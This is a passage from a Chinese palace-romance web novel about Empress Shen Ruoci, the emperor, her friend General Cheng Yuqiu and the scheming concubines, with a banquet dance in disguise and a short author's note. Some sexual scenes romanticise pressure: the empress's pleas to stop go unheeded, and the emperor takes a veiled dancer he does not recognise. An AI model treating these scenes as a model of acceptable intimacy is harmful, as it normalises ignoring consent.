元栩托着她的背,抱她起来,片刻之后,她的手一下、一下地拍打他的胸膛,声音经过酒水浸透,更加绵软,“你怎么、怎么……才来啊。” 元栩一愣。 她用的分明是责怪的语气,他却从话中听出亲昵的意味。这让他身子莫名僵直,一动不动任她捶打。 沈若辞手臂软绵绵的,还在坚持打他,越打越委屈。最后几乎是带着哭腔,“我等你好久了,你怎么现在才来……” 元栩心头不由得又酸又涩,见她眼泪都流下来了,忙伸手拭去她的泪珠,低声哄道,“是朕的错,朕来晚……” 话说到半截,她的唇忽然吻上来,余下的话都吞噬在纠缠不清的唇齿中。 连骁起初不敢确认心中的念头,可听到她开口说话的时候,他才不得不承认那“痴心妄想的女人”,就是他想带出宫去金屋藏娇的沈若辞。 这无疑是难以接受的,他几乎不假思索,就要朝屏风走过去。屏风后边交叠的身影,男女之间粗重急促的喘息,却让他脚步一顿。 他早已不是未经事的少年,很清楚男女床笫之间的事情。这场景与他所想的画面大相径庭,他潜意识里觉得沈若辞应该视皇帝如仇人,不该与他如此亲密,她没有反抗,是欣然接受,甚至是主动——这些都不在他想象的范围内。 连骁控制不住自己的脚,他想冲过去将屏风后两人分开,将沈若辞带回他的后宅,日日夜夜将她困在身边。 “连将军……” 岳常安的声音将他拉回现实,占有她的那个男人是他的外甥,是大魏的至高无上的皇帝,他身后背负着整个连家,根本没法子随心所欲,只能隐忍。 连骁右手握成拳,将所有蠢蠢欲动的念头压下来,最终还是说服自己走出了书房。 屏风后风雨渐歇,沈若辞如脱了水的鱼儿,呼吸紧促,抓着他胸口敞开的衣襟,“你、你不可以这么对我。” 元栩用嘴含着她的小衣,慢条斯理地往下拉,“为何?方才不是你先动嘴的?” 沈若辞咬着唇央求他,“你别……我们还没成亲,你不能这般……” “是吗?”元栩手下的力道逐渐加重,两团饱满的绵软在他的作弄下,随意变化成各种形状,他眼里闪过一抹讥诮,脸上却都是无辜的神色,“可沿沿明明很喜欢啊。” 沈若辞别过头去,认真地看着空气,尝试忽视他手掌带来的炙热,“求你,别弄了。” 御花园里。 元琛跟程于秋一路闲逛到湖边,程于秋终于忍不住了,扬起头问他,“殿下要跟我到何时?” 元琛一愣,平日里收放自如的容王殿下,此时神色不自然地看向波光粼粼的湖面,镇定道,“帝后大婚不久,正是如胶似漆的时候。本王作为兄长,自然要替大魏款待一下程将军。” 程于秋皱了皱眉头,不赞同道,“容王殿下怕不是有什么误解吧?” 她在湖边的海棠树下坐了下来,元琛也随她坐下来,天气干燥晴朗,微风时来,他闻言一滞,很快又反应过来回道,“方才宫宴结束后,皇后娘娘有些醉了,是皇弟亲自将人抱上步辇,二人是新婚夫妻,感情自然是再好不过。” 程于秋回头看他,眼中依然写着不相信,她摆明了说,“我看皇帝皇后不像感情好的样子。” 方才宫宴上众人有目共睹,倒是连骁连将军,都比皇帝更关心这位新皇后。 元琛发现吹嘘皇帝夫妻感情和睦这条路被堵死了,当即换了选了条截然相反的路,他叹了口气,“自古帝王多无情,皇弟虽是个好皇帝,却做不了好丈夫。” 程于秋不能再赞同,频频点头,“皇帝会打女人不?” 元琛回忆了一下过往,元栩曾将投怀送抱的贵女扔进湖里,把试图爬床的宫女踢出寝殿,他觉得自己也不算诋毁皇帝,“这个可能说不准……” 程于秋没有任何预兆,“腾地”一下从地上站起来。 “那岂不得我去治治他!” 元琛没想到没做成说客不说,反倒激起她的好胜心。 翌日沈若辞在雪辉宫里躺着休息,锦云进来禀告,“娘娘,程将军求见。” 沈若辞飞快地从软塌上爬起来,探着头问道,“是刚从南疆回来的程将军吗?” 锦云点点头,昨日宫宴她也去了,亲耳听九皇叔说程将军才配为大魏的皇后,她那时候心里很不服气,这样子说,把她家娘娘忽视得干干净净,完全不给面子。 锦云对程于秋没什么好感,理所当然觉得沈若辞也不喜欢她,于是试探着闻到,“是昨天宫宴上的程将军,咱要不要给她进来?” 第49章 “要!”沈若辞已经在穿鞋子, “快请她进来。” 锦云隐约觉得皇后娘娘今日特别兴奋,似乎比皇上来的时候都要开心上许多,她犹犹豫豫地出去请人进来。 程于秋跟随锦云一同步入殿中, 沈若辞正在沏茶。 锦云见沈若辞亲自动手,急匆匆地上前抢过活来做, “娘娘叫奴婢做就好了,哪能自己亲自动手。” “不碍事。” 沈若辞不听劝, 她先斟了一杯放在对面的空位,才给自己也倒了一杯。 程于秋不假思索地坐在空位子上。 锦云简直忙不过来, 这边皇后娘娘亲自动手干活刚把她吓了一跳,那边程将军没半声招呼就理直气壮地坐下来, 压根没有给皇后娘娘行礼的意思, 她急得差点说不出话来, “程将军您……” 程于秋悠闲地喝了口茶, 打断她的话,“这位姐姐麻烦回避一下, 我跟你们娘娘有话要说。” 锦云本就对她有成见, 此时又见她不把皇后娘娘放在眼中,她担心沈若辞受欺负,哪能说出去就出去。 沈若辞以为她没听清楚,补了一句, “锦云姐姐先去休息一下。” 锦云闻言一滞,她不敢相信自己的耳朵,满腹疑虑, 一步三回头地走向门口,快要迈过门槛的时候,程将军的声音再次在耳边响起, “麻烦带一下门。” 锦云更气了。 她怀疑她们家娘娘被威胁了,但回头见她嘴边噙着笑,一双杏眸更是弯弯的,明明更像是自愿的。她无声地叹了口气,将门带上。 屋中安静下来,只剩下沈若辞与程于秋二人。 但安静只持续了片刻,沈若辞从座位上一跃而起,拉着程于秋一路小跑到软塌边,“阿秋快上来。” 言语中透着迫不及待的兴奋。 程于秋由着她拉着自己在软塌上坐下来,而后慢悠悠地除下鞋子,爬上榻去。 沈若辞捧出一木质托盘,盘子里琳琅满目,有水果、糕点、蜜饯,都是些比较诱人的东西。 “阿秋你看,这樱桃是清晨采摘下来的,你尝尝。”她捻了一枚新鲜的樱桃喂到她嘴里,“怎么样,是不是很甜?” 樱桃落入口中,程于秋贝齿轻轻一碰,香甜的汁水在口中迸发开来,她没来得及吐核,又被喂下第二个、第三个。 沈若辞见她吃得快,心里喜滋滋的,手上喂食的动作更勤了。 昨日宫宴上她就仔细观察过了,她的阿秋瘦了。肯定是战场条件艰苦,物资匮乏,把人熬瘦的。 她又拿起一块桃花酥,满眼期待地举到她嘴边。 程于秋推开桃花酥,吐出五个樱桃核,拒绝道,“沈沿沿,你喂猪啊。” 沈若辞不好意思地笑了,她缩回手,低下头咬了一口桃花酥,“可香了,你不吃要亏。” 程于秋不受诱惑,“我来之前吃过饭了,足足吃了两大碗,宫里的菜太好吃了,我现在肚子吃不下任何东西了。” 就是啊,她就知道阿秋肯定是苦着了,沈若辞将零嘴一一收起来,“那我先装起来,你带回去吃。” 程于秋见她垂着眼眸,卷翘的睫毛纤长秀气,肤色白皙又透着粉,嘴角似乎总是不受控制地上扬,又悄悄地压下去。 “好了。”忙活了一会,沈若辞抬起头来,笑盈盈地递出一大纸包。 程于秋面无表情地接过来放在一旁,紧接着以迅雷不及掩耳之势揪起她的衣领,几乎要把她的人提起来,而后恨恨地瞪着她,咬牙切齿道,“沈若辞,别以为你这样做,我就能原谅你。” 南疆三年五年,程于秋从来没觉得时间如此难捱。一边是战场上杀不退的敌人,另一边是她惦记的那个人,缠绵病榻整整两年不见好转。 得知消息的这半年来,她每天每夜都心急如焚,盼望着战事能马上结束,她能早日回到盛京,哄她吃药,看她一点一点地好起来。 所幸一切都来得及,她还在,不晚。 沈若辞被她压着胸口提起来,猝不及防之下惊呼了一声。 程于秋立即放松了手劲,托着她的背,“胆小鬼。” 沈若辞知道她刀子嘴豆腐心,主动蹭了蹭她的手。 程于秋不是个喜欢煽情的人,她瞪了沈若辞一眼,刚想拿开手,却被手下绵软的触感吸引了注意。 “不会吧。”她难以置信地笑了一下,“沈沿沿,你长大了?” 沈若辞意识过来她说的哪里,双颊顿时红透,她捂紧自己的胸口,“你乱说什么呢,快松手。” 程于秋却来了兴致,“有没有乱说,你让我看一下就知道了。” “你学得像个臭流氓。”沈若辞气得要跺脚,奈何被她抓着动惮不得。 程于秋却笑了,她轻而易举地把沈若辞按倒在床上,作势要去扯她的小衣,手却被沈若辞挡开,只能挠她的痒痒。 沈若辞又急又好笑,两条细弱的手臂在半空中挥舞着,企图抵挡她的攻势。 自打程于秋跨进雪辉宫后,已有宫人跑去龙泽宫汇报,锦云生怕出了什么事无法交代,寸步不离地守在门口,小脑瓜子时时刻刻留意着殿内的声响。 但当亲眼见到皇帝出现在雪辉宫的时候,锦云还是有些难以置信,她手脚无措地指了指殿内,“皇上,程将军……” 元栩刚好听见沈若辞尖叫的声音,他几乎是不假思索,一脚踢开了寝殿的门。 所以元栩进门的时候,就见到匪夷所思的一幕,程于秋跨坐在沈若辞身上,伸着手要去剥她的衣裳。 他脸色骤然一沉,大步走向二人。 “程将军好得很,欺负到朕头上了。” 沈若辞先是听到大门的动静,还未及停下来仔细辨认,就已经听到皇帝冷冷的声音。 她动作一顿,惊慌地望向程于秋。程于秋能感受到身下原本柔软的身子已经僵硬起来,她松开沈若辞要把她抱起来的时候,皇帝已经走过来一把推开了她。 程于秋舌头僵硬,“皇……上、”她感觉皇帝的眼神能杀人。 沈若辞真的怕皇帝要惩罚程于秋,她慌忙抓住抱起她的人,正欲开口解释,情急之下却被自己的唾沫呛了一下,开始咳嗽。 她越是急,越是咳,最后连眼泪都要咳出来了。 此时沈若辞衣衫不整被皇帝抱在怀里,好不容易缓过来一点,又想开口,“皇上咳咳,程、程将军咳……” 元栩给她拍着后背顺气,他注意到仍在塌上的程于秋,冷声道,“滚下去。” 沈若辞更急了,抓着他的袖摆,眼泪一滴一滴往下滚,眼睁睁地看着程于秋从软塌上下去。 程于秋跪在地上,“皇上恕罪,是末将冒犯了皇后娘娘。” 沈若辞知道皇帝这个人霸道又记仇,就算是他不喜欢的人和事,也不允许别人冒犯。 皇帝给她喂了半杯温水,她抽了抽鼻子,可可怜怜地澄清,“皇上,程将军是跟臣妾闹着玩的……” 元栩慢条斯理地替她套上罗袜,系好带子,程于秋见那欺霜赛雪的人儿被皇帝抱在怀中,极富耐心地替她穿袜整衣,不禁目瞪口呆。 两厢一对比,她似乎、真的是很鲁莽了。 “只是玩闹?”元栩将她散落下来的发丝别到耳后,“朕看她可是把你压在塌上。” 沈若辞小心翼翼地跟程于秋交换了一下眼神,程于秋似乎还想笑,被她狠狠地瞪了一下,她认认真真地回答元栩的问题,“是真的,程将军很好,没有伤害臣妾。” 若说被压着就是被欺负,那他都不知道欺负了她多少回了!但这话只敢在心里嘀咕,却不敢真的说出口。 好在皇帝也没有想继续追究,暂且相信沈若辞的话,“下去吧,以后皇后宫中你少来。” 沈若辞闻言如晴天霹雳,她好不容易才见到阿秋,想着日后二人可以像小时候一样,时不时待在一起,没成想皇帝当场断了她的念想。 程于秋就没有沈若辞的担忧了,她面不改色地朝皇帝行了一礼,“末将告退。” 沈若辞抽了抽鼻子,眼见程于秋的身影消失在门口,她垂下眼帘,目光落在穿戴整齐的罗袜上。 她呆呆地看着,程于秋又突然进来了,“末将该死,落下皇后娘娘送的礼物,拿好马上走。”她溜到榻边,提起纸包,转身就要来离开。 沈若辞忽然开口叫住她,期盼而又略带失望的地问道,“程将军昨日说要送礼物来的,怎么不见你带过来?” 程于秋脚步一顿,她急着来见沈沿沿一面,礼物千里迢迢从南疆带回来的,尚在宫外,她抱歉道,“是末将疏忽,这就去安排,尽快送来给娘娘。” 沈若辞听到二人又有见面的机会,忍不住笑了,“好啊,程将军要快点送来。” 程于秋已经无法忍受皇帝的目光了,她给沈若辞使了个眼色,提着纸包一溜烟离开了雪辉宫。 沈若辞嘴角还有笑意,元栩移开目光,没好气地问道,“想要什么?” 沈若辞不知道该怎么回答。 他又问,“她那只猫?” 沈若辞迟疑地点了一下头。 她想要见程于秋就对了,至于什么礼物,其实都好。 元栩嗤笑一声。一只猫,这有什么难的。 沈若辞这才想起皇帝来得突然,她平静下来问道,“皇上过来雪辉宫,可是有什么要紧的事?” 作者有话说:沿沿跟女二是好姐妹啦! 不好意思啊,前阵子身体一直不舒服,去医院检查也没查出原因,现在反倒自己好了,抱歉抱歉。 第50章 元栩看向她, 目光直接撞进她眼底,“朕还没有换皇后的打算,总不能让人骑到朕头上来。” 嗯, 原来是怕自己丢了面子。 她默默地点了点头。 元栩提起一只手指点住她的额头,“这才见几次的人, 沿沿就给她送礼物了。” 沈若辞觉得额心痒痒的,心里在想这人可真小气, 还是皇帝呢。 元栩突然收回手,转而抚向腰间的香囊, 话说得莫名其妙,“用久了, 是该换了。” 沈若辞视线下移, 也没仔细去看, 就轻轻“嗯”了一声, “确实有点旧了。” 殿中安静下来。 元栩的脸色也沉了下来。 宫中其他妃子都知道给他送礼,怎么就她一个毫无动静。全无自觉就算了, 他都拿话点她了, 她仍无动于衷。 元栩胸中更添气闷。 沈若辞一时如坐针毡,手指碰到腰间的佩饰,下意识地攥在手心。 不送就算了,他直接要就是了。元栩指了指她的手, “摘下来,给朕玩几天。” 沈若辞松开手,白玉雕刻的一尾小鱼自她手中滑落, 精致漂亮,活灵活现。 “这是臣妾的旧物,拿不出手。皇上若是想要, 臣妾嫁妆里有新的,可以……”上次回门的时候,沈相塞给她不少东西带来宫里,其中不乏上乘的玉器宝石。 元栩执意去解她的腰带,“不必,朕就要这个。” 沈若辞着实没想过皇帝会看上她这块玉佩。这玉饰虽做工精良,但玉质却非上等,明眼人一看就知道。她长年佩戴,不是因为珍稀宝贵,只是对她来说有特别的意义。 元栩将玉佩解了去,极其顺手地别在自己腰间。 沈若辞只觉得头大,心中思忖着这玉佩怕是一时半会要不回来了,她只好妥协,“皇上玩腻了,记得还给臣妾。” 元栩站起来轻拂了一下玉佩,只冷冷道,“知道了。”便往门口走去。 沈若辞哭笑不得,只期盼他莫要丢了或是磕碎了。 接下来每一天,沈若辞都在等程于秋的到来。左等右等,没等来程于秋,却收到了薛雪媚等人邀约,约她一同去御花园里赏茶花。 皇帝虽不允许她乱跑,但去花园里赏花这种小事,也没有多做干涉,反正她乖乖的不惹事,他也不会管束得太紧。 沈若辞到的时候,薛雪媚异常亲昵地拉她坐在自己身边。她刚坐下,就发现连亦兰姐妹都在场,连亦心看她的眼神还是怪怪的,有一种说不出的诡异。 静妃用帕子捂着笑道,“据说几天后九皇叔的寿宴上,程将军要上去献舞,大家说她能跳舞吗?” 淑妃跟嘴道,“那粗鲁样,杀人就在行,跳舞……依臣妾看,悬得很!” 薛雪媚拉了拉沈若辞的手,“娘娘,今天大伙儿给您出口气,给这女人点颜色看看。” 沈若辞疑惑地回过神来,刚想问怎么回事,就见一宫女引着程于秋前来,她心中又惊又喜,表面却不动声色。 程于秋觑了一眼沈若辞,很快移开目光,朝众人行礼,“参加各位娘娘。” 沈若辞抬了抬手,示意她坐下,“程将军无需多礼。” 程于秋提着裙摆坐下来,动作爽利不拘,却不让人觉得粗鲁,反而很优美流畅。 连亦心盯着她那张脸微微蹙眉,在她的梦里,程于秋就像个男人,一直在边疆行军打仗,根本没有接近的皇帝的机会。 要说让她印像深刻的事——那就是她曾提着剑进了国公府,亲手杀了袁妙莹,也不知道这二人什么仇什么恨。 她没心思去猜,反正只是无关紧要的人。眼下最重要的还是霸占着后位的沈若辞,这女人挡了她的道,何时被废还是未知数。 她想使点手段也不是容易的事,毕竟这是宫里,不像当初那民间女子,很好解决。 连亦兰不知道妹妹这些曲曲折折的心思,她试图用夸赞沈若辞来贬低程于秋,“程将军,你看我们皇后娘娘,父亲是大魏的栋梁权臣,她出身高贵,样貌又是万里挑一的好看,这皇后的位置怕是没人能抢走。” 程于秋微微颔首,真诚道,“连妃娘娘说得极是。” 连亦兰捻起杏干的手一顿,她想象的程于秋该是对她的话不屑一顾才对,而不是这般毫无预兆地奉承。 薛雪媚可没她这么含蓄,她装腔拿调,“九皇叔年纪大了,头脑也糊涂了。程将军回去后,要好好劝劝他老人家,睁大眼睛看看,我们皇后娘娘哪里配不上皇后之位。” 几位妃子脸上都带着笑,出奇一致地想要打击程于秋。 沈若辞自然知道她们不是在为自己鸣不平,只不过是借她的名头来欺压程于秋,她不动声色地捏了一颗葡萄放进嘴里,将话题扯开,“本宫听宫女说,前几年宫里从烟台移栽了一批樱桃树栽在后山,为何不摘点来吃?” 这事淑妃知道,她解释道,“那批樱桃树来了之后水土不服,大都枯萎了,眼下只剩下寥寥几棵,每年产量极少。” 沈若辞想起那日她拿了一包给阿秋,隔个两三天又有宫女送来新鲜的樱桃,心想那产量也不至于太少。 静妃舔了舔嘴唇,似在回味,“去年有幸在太后娘娘宫里吃过一次,又甜又新鲜。今年不见太后娘娘宫里有了,想必是产量更少了。” 薛雪媚拿眼瞟了这两个没眼色的,好端端的话题给她们两个越扯越远,再说回去就没意思了。 沈若辞也没给她们再说回去的机会的,开始谈及沈相喜欢的茶花。这方面的知识她了解得多,一开口就滔滔不绝,别人再来插嘴那事,就显得突兀了。 听到最后,其他妃子都打着哈欠离开了,现场只剩下沈若辞跟程于秋二人。 程于秋抹了一把额上的汗珠,虚脱道,“每天要应付这群女人,可真不是简单的事。”她喝下一口茶,转头问沈若辞,“当皇帝很累吧?” 累?沈若辞下意识挪了挪腰。昨夜皇帝在她床上奋战到半夜,英勇得很,可不见累。 程于秋看向她的精致的眉眼,“想什么呢?” 沈若辞面上红云渐起,她别开脸去假装赏花,程于秋不依不挠地掰过她的脸来,“唉沈沿沿,你到底在脸红什么?” 沈若辞无可奈何,她很想说等你成亲就懂了,可是她说不出口,只好撒谎,“没有脸红,是日光晒的。话说……九皇叔寿宴上,阿秋真的要去献舞?” 程于秋一口茶刚进了嘴里,差点没喷出来,她艰难的咽下茶水,“刚刚那个……叫什么贵妃的说得对,义父怕是要老糊涂了,竟然让我去寿宴上献舞,他也不想想,我是那块料子吗?” 沈若辞不解,“那她们怎么也知道这事?” 程于秋叹了口气,“那是因为义父非要我选个舞曲,我拧不过他,就故意选了个胡旋舞,想气气他,好让他放弃,没想到他跟我犟上了,将名单上呈给了乐府。” 沈若辞同情道,“那阿秋岂不是要去练习了?” 程于秋拒绝道,“别别别,我还是去求求义父,让他打消这个想法实在。” 沈若辞还想说什么,程于秋转过来看着她的眼睛,忽然严肃道,“沈沿沿问这么多,是不是怕我抢了你的皇帝啊?” 沈若辞无声地做口型,“抢你个大头鬼。” 这话把程于秋逗笑了,“你学坏了沈沿沿。” 沈若辞耳朵一红低下头去,方才她是情急之下脱出而出,此时被提醒后顿觉羞窘。 程于秋抬头望了望天空,天气很不错,她也没有继续逗弄沈若辞,趴到她的耳边低声道,“你等着,我有机会就去把你偷出来玩。” 沈若辞忽然抬头,看见程于秋从桌上提了一串葡萄,边走边吃,只留了一个背影给她。 ** 九皇叔的寿宴在宫里举办,这一天宫里很是热闹,比庆功宴还要隆重盛大。 可能因为上回宫宴上沈若辞不小心喝醉了,给皇帝添了麻烦,所以今日被皇帝禁了酒,桌上只有茶水和甜汤。 她不是挑嘴的人,捧着小碗喝甜汤。 众人给九皇叔道喜送礼之后,就开始看台上的表演。 沈若辞环顾一周,在人群外围发现程于秋的身影,她皱着眉头,给她使了个眼色。 沈若辞会意,找了借口离开寿宴。荣月寸步不离地跟着,她只好带着人一起离开。 程于秋有单独上妆打扮的屋子,她将沈若辞带到屋里,进门后就给荣月点了昏睡穴。 沈若辞问她,“出什么事?” 程于秋掏出一图册,献宝似的地捧到沈若辞跟前,“替补的两位舞姬,一个生病了,一个扭伤了脚。事到如今,只有沈沿沿你能帮我了。” 沈若辞看了她一眼,缓缓地翻开图册,是练舞的动作。 程于秋挽着她的手一副愁眉苦脸的模样,“献舞这事我原以为义父忘了,没想到他今天给我放话了,说是我不去献舞也可以,他会亲自给我定一门亲事,要我乖乖等着嫁人。” 沈若辞合上图册,好奇地问道,“定了哪家的公子?” 程于秋一掌拍在图册上,气急败坏道,“这不是重点好吗,沈沿沿!现在当务之急是我要上去献舞,我不想嫁人。” 沈若辞点点头表示理解,而后问她,“那你会了吗?” “不会。”程于秋蔫了一下,又死皮赖脸地凑过去,“所以才找你帮忙啊,你的舞蹈天赋我是见识过的,看两遍图册就能记住动作,现在还有时间,你快看,我帮你上妆。”《 》 50-60 第51章 沈若辞将图册一扔, 站起身来,“不行,这舞我没练过, 估计跳不好。再者我跟你长得也不像,扮不了你。” 程于秋拉着她坐下来, “好沿沿,你先听我说嘛, 今日献舞有八个人,都蒙了面纱, 领舞已经有人选,你上去替我凑个人数。” 沈若辞在犹豫。 程于秋拿出两层面纱, “哪, 你看, 我已经跟那几位舞姬说好了, 今日每个人都蒙两层面纱,这样就看不到容貌了。” “好不好嘛?”程于秋朝她撒娇。 沈若辞怕九皇叔不征询阿秋的意见, 就随意给她指一门婚事, 迟疑了片刻,还是松口答应了她。 程于秋喜笑颜开地拿起图册塞到沈若辞手里,开始往她额头贴花钿,“沈沿沿, 快看。” 沈若辞专心看图册,程于秋给她梳妆打扮。她的手艺一般般,勉强能看。 好在沈若辞天生丽质, 浅紫色的轻纱舞衣将她曼妙的身姿完全展示出来,细腰婀娜,长腿笔直纤瘦, 紫色的轻纱衬得她肤色如白玉无暇。 程于秋看呆了眼。 沈若辞只好自己蒙上面纱。 两层面纱遮去容貌的光芒,不至于那么耀眼。 程于秋回过神来,要是早知道沈若辞这么夺目,她都舍不得让她上去献舞,她轻咳了两声,凑到沈若辞耳边,“我要是皇帝,保准是个昏君,天天抱着你,日日想着你,夜夜笙歌。” 沈若辞瞪了她一眼,“胡说八道。” 程于秋耸耸肩,又帮她检查了一遍,确定没什么疏漏,才将人送上舞台。 领舞的舞姬是个美艳的胡姬,身段凹凸有致,舞姿魅人,一上场就吸引了大部分的目光。 沈若辞站在后排不起眼的位置,舞跳得也不甚走心。 自打表演开始,九皇叔就一直兴致缺缺,此时终于等到程于秋出场,他顿时拿出十二分精神。可当他两眼冒光地在场上找了几个来回,都未能认出哪个是自己的女儿阿秋。 他怀疑是自己喝多了,连人也看不清了,干脆放弃了找人,直接对皇帝说道,“皇上,这是阿秋的节目。我们阿秋啊,不止打仗厉害,跳舞也是一等一的好看。” 九皇叔夸起人来十分直白,丝毫不知道什么事自谦。 皇帝本来没认真看,经九皇叔这么一夸赞,他倒是往台上多看了几眼。 九皇叔微笑着,试图从元栩脸上看出点情绪。 起初他眼神还在逡巡,片刻以后便停下来落在一人身上。 宴席上时刻关注皇帝的人也发现了这一点,紧跟着投去了目光。不瞧不要紧,一瞧便心知肚明,后排原来还藏着个狐狸精,身段明晃晃地勾人。 连骁坐在元栩的另一侧,见他对那舞姬颇为关注,故意在皇帝耳边调笑,“胭脂俗粉,难得有个佳品。” 只是她们还来不及在心里骂上一场,就见天子忽然起身,长袍飘逸,身姿颀长,穿过舞台,径直走到那狐狸精跟前,一把将人抱了起来。 骤然被人抱起,沈若辞差一点惊呼出声。好在现场歌舞未停,淹没了她细碎的呼叫。 寿宴从中午的宴席开始,到现在持续了大半天,此时天色已暗,出了舞台光线昏暗,很难辨认出人的容貌来。 元栩将人抱进了一处假山,朝外边的人喊了一声,“走远点。” 岳常安心领神会,赶忙吩咐侍卫围了一圈,不让人靠近。 沈若辞足尖点着地,被放在一块光滑的大石头上,面纱不知道何时只剩下一片。 她压下心中的慌乱,正思考着要如何应对眼下的场景,皇帝就突然隔着面纱吻了下来。 强势,极富侵略性,沈若辞从来没有见过这么急躁的他。这场风雨,比以往每一次都要猛烈、肆虐。 紫色的抹胸被推到了腰间,她无暇顾及,足尖离了地,悬在巨石上,如轻烟般漫散开的裙摆尽数堆叠在腰肢。她感觉一凉,下意识要拢紧双膝,却被滚烫的硕|物烫得身体一颤。 那时她还能清晰的地听到皇帝在她耳边骂了一声“狐狸精”,她想要哭,想要辩解的时候,整个人已经被推进了深渊。 假山外边歌舞升平,灯影幢幢,洞内疾风骤雨平地而起,娇柔的小花很快受不住风雨侵袭。 好不容易挨到雨收云散,沈若辞仰着头急促地喘着气儿,面纱仍在她脸上,皇帝似乎也没有发现她的身份。 感觉皇帝又低头来吻她,沈若辞慌得用手去推他,她已经是忍到了极限,才没有哭出来。若是再来一回,肯定要忍不住了。 好在皇帝只是轻轻地吻了吻她的眼睛,便开始清理两人的身子。 抹胸轻纱都回到了原来的位置,长裙也被放了下来,沈若辞红着脸,下意识交叠起双脚。 皇帝已穿戴整齐,手里将她的亵裤揉成一团晒进袖子里。 沈若辞微怔,这才想起他方才用的什么替她擦去黏腻。 好生不要脸。 沈若辞被他用披风裹住身子,抱上了步辇。 她闷闷地钻进他的怀里,害怕被人发现自己的身份。 上了步辇,皇帝放下她,在她耳边轻声道,“不准再回宴席上去了,朕让宫人送你去龙泽宫。” 沈若辞心想,人都没见过,就要送到他寝殿里去,有这么缺女人吗? 元栩重回寿宴上,沈若辞坐着步辇,等待程于秋来救她。 步辇才走出一段距离,就被人拦住了。 “让开,本宫倒是要瞧瞧这狐狸精长什么样,竟敢勾引皇上。” 沈若辞听出是薛雪媚的声音。 引路的太监好言相劝。 连亦兰在一旁帮腔,“公公就让贵妃娘娘瞧瞧吧,看一下又不会少块肉。” 二人在前边吵吵闹闹,一道人影正悄悄靠近步辇,她一把掀开步辇的纱帘,入眼便是蒙着面纱的舞姬。 沈若辞微微抬眸,看清来人正是元栩的表妹连亦心。 尽管已经见过几次,沈若辞还是头一回见到这样的她,面露凶色,嘴角上翘,眼神中带着浓浓的鄙夷,二话不说就要伸手去掀沈若辞的面纱。 沈若辞下意识避开,就见程于秋身形一闪,单手钳住那只正要贴上来的手。 程于秋轻轻一甩,撇开连亦心的手。 连亦兰看清程于秋的脸,轻笑道,“程将军什么意思?” 程于秋睨她一眼,“这舞姬是我的人,你们怕是没资格动她。” 连亦心冷笑,“她现在已经是皇帝的人了。” 程于秋挡在沈若辞跟前,“此时此刻我可以将人带走,过了这个当口,那就说不准了。还是说,你们愿意让她留在皇帝身边?” 连亦心不是个愚笨的人,她思忖片刻,立即明白话中的意思,悄无声息地退了一步。 程于秋扣住沈若辞的腰,轻道一声“走”,便将人带离了现场。 引路太监慌忙跑过来,“哎呦,连姑娘您怎么能让她把人带走啊!” 连亦心冷着脸,“她要将人带走,关我什么事。” 那太监急得跺脚。 程于秋将沈若辞带回换衣裳的小屋里,让她换回衣裳。 沈若辞换下被弄脏的舞衣,开始穿自己的衣裳。 程于秋小心翼翼地替她卸下花钿,除去发髻上的钗饰。 沈若辞听见程于秋在她背后问道,“他知道是你吗?”她一怔,片刻之后又摇摇头,“我没出声,他应该不知道。” 程于秋走到她跟前来,“他平时都是这样,随意跟别的女人……欢好?” 沈若辞怔住。 她知道自己心里在不舒服什么了。 一直以来,她都知道帝王三宫六院,身边会有很多女人,可没想到有朝一日他会将自己错认成其他女人,然后……欢好,她隐隐有些反胃。 “他是皇帝。” 皇帝会有三宫六院,美人三千,不是只是她一个人的丈夫。这话在回答程于秋的问题,也是在告知自己。 程于秋摸了摸她的脑袋,“你知道,我一个人没有牵挂,若是你想……” “不要!” 沈若辞只听出一点苗头,就立马打断了她的话,放缓语气道,“不要,阿秋。现在这样子挺好。” 她又重复了一遍,“已经很好了。” 程于秋安静下来。 沈若辞牵着她的手站起来,“阿秋,你把荣月叫醒,我该回去了。” 她身子被弄脏了,不好好清洗一下很不舒服。 何况皇帝对那“舞姬”起了兴致,回去后发现人不见了,以他的恣意妄为,怕是要将宫里翻个底朝天去找人。 她可不想去触霉头。 沈若辞带着清醒过来的荣月匆匆离开,没想行至半路,就遇到了一道人影。 连骁立在路边,似乎一早就在这里等她。 沈若辞明显有些意外,但还是端庄地与他见礼。 见礼后,沈若辞没想多留就要离开,不想却被连骁挡住了去路。 她错愕地看着拦在自己身前的手臂,抬眸看他,“连将军这是何意?” 连骁没有回答,他动了动鼻子,又靠过来,离她身子更近了一点。 “男人的味道。” 沈若辞听到他说了几个字,带着戏谑的味道。 荣月见状赶忙上前护主,“不准对皇后娘娘无礼!” 她推开连骁的手,却被他一眼瞪了回去。 连骁眼神停留在荣月身上,质问道,“今晚你一直跟着你们娘娘?” 荣月顿时心虚。 方才在程将军那屋里,她犯了困,竟自己打起盹儿来,此时被连骁遗一拆穿立马没了底气,不敢再上前去。 沈若辞闻到他身上的酒味,心想他是喝多了,正想喊人来拉走他,连骁附在她耳边低声道,“皇后娘娘今晚跟哪个野男人在一起?” 沈若辞不明所以,但感觉被冒犯了,她攒足了力气推开连骁,“将军请自重。” 连骁轻笑一声抬高下巴看她,“你跟人睡了。” 第52章 沈若辞心里一惊, 连骁怎么知道这事的?莫非她戴着面纱,连骁都能认出来? 连骁是风月老手,一近她的身就敏锐地发现男人留下来的气味。他脑中快速地搜索, 回忆着有可能的人选。他语气不悦地问道,“是谁?袁子逸?” 沈若辞被气红了脸, “胡说八道。” 连骁醒悟过来,“也对, 他没资格来。” 沈若辞给了荣月一个眼色,荣月领悟后赶紧去叫人。 月光下她的小脸清透白皙, 风情更胜初见时的惊艳,连骁语气都柔和起来, “皇上对你不好, 你想找别的男人对你好, 是不是??” 沈若辞只当他醉了, 皱着眉儿远远地看着他。 他突然伸出手过来,“以后有需要可以来找我, 我会一心一意对你好。” 沈若辞拍开他的手。 连骁笑了一下, 想着她愿意找别的男人,可见对皇帝也没什么感情。他心情愉悦起来,又看了一眼这张让他魂牵梦绕的脸,然后才转身离去。 荣月叫来了人, 沈若辞上了步辇,她想起方才连骁说过的话,下意识拉起裙子, 闻了闻自己身上的味道,娇靥一点一点地烫起来。 连骁回去的路上遇到了连亦心,连亦心站在他身旁微微仰起头, “舅舅捎亦心一程,亦心有话要跟舅舅说。” 连骁心情还算不错,他让连亦心一同上了马车。 马车上,连亦心拧着眉儿,忧心忡忡地开口,“舅舅,皇上似乎对我……们连家越来越不上心了。” 连骁还沉浸在方才见沈若辞的愉悦里,听她说话才缓缓地回过神来。连亦心说的事,他一早就察觉到了。皇帝不仅冷落连亦兰,而今对他这个做舅舅的也是端着架子,完全没有往日的依赖和信任。 